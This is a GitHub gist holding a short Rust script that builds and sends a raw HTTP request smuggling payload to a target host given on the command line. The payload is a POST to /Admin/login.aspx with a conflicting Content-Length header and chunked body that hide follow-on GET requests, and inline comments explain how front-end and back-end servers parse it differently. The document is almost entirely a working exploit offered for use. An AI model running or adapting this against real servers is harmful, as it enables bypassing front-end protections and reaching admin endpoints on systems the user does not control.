Skip to content

Instantly share code, notes, and snippets.

@jpastuszek
Created March 5, 2021 17:24
Show Gist options
  • Save jpastuszek/de576c7a49a33cdd771de2c57250a6c6 to your computer and use it in GitHub Desktop.
Save jpastuszek/de576c7a49a33cdd771de2c57250a6c6 to your computer and use it in GitHub Desktop.
Toy to export HTTP request smuggling
#!/usr/bin/env denim
/* Cargo.toml
[package]
name = "smuggle"
version = "0.1.0"
authors = ["Anonymous"]
edition = "2018"
[dependencies]
cotton = "0.0.7"
structopt = "0.3.2"
maybe-string = "0.1.0"
*/
use cotton::prelude::*;
use maybe_string::MaybeStr;
/// Example script description
#[derive(Debug, StructOpt)]
struct Cli {
#[structopt(flatten)]
logging: LoggingOpt,
#[structopt(flatten)]
dry_run: DryRunOpt,
host: String,
}
fn send_lines(host: &str, lines: &[&[u8]]) {
let mut bytes = Vec::new();
for line in lines {
println!("{:?} ({})", MaybeStr::from_bytes(*line), line.len());
bytes.extend(line.iter());
//bytes.extend(b"\r\n".iter());
}
send(host, &bytes)
}
fn send(host: &str, bytes: &[u8]) {
cmd!("openssl", "s_client", "-ign_eof", "-quiet", "-connect", format!("{}:443", host)).stdin_bytes(bytes).run().unwrap();
}
fn main() -> FinalResult {
let args = Cli::from_args();
init_logger(&args.logging, vec![module_path!()]);
send_lines(&args.host, &[
b"POST /Admin/login.aspx HTTP/1.1\r\n",
&format!("Host: {}\r\n", args.host).as_bytes(),
b"Content-Length: 4\r\n", // just the chunk size
//b"Transfer-Encoding: chunked\r\n",
b"\r\n",
// size (4)
b"30\r\n", // 1A = 29, 30 = 48
// <-- CL => admin
// 2'nd to backend (29)
b"GET / HTTP/1.1\r\n", // 16
b"Host: foo\r\n", // 11
b"Content-Length: 5\r\n", // 19 just the chunk size
b"\r\n", // 2
// final (5) - CL => 503 (foo)
b"0\r\n", // CL => 400 Bad or 503 if 2'nd CL set
b"\r\n",
// <-- TE
// 2'nd request; 3'rd to backend
b"GET /404 HTTP/1.1\r\n", // 16
&format!("Host: {}\r\n", args.host).as_bytes(),
b"\r\n", // 2
//b"G",
]);
Ok(())
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment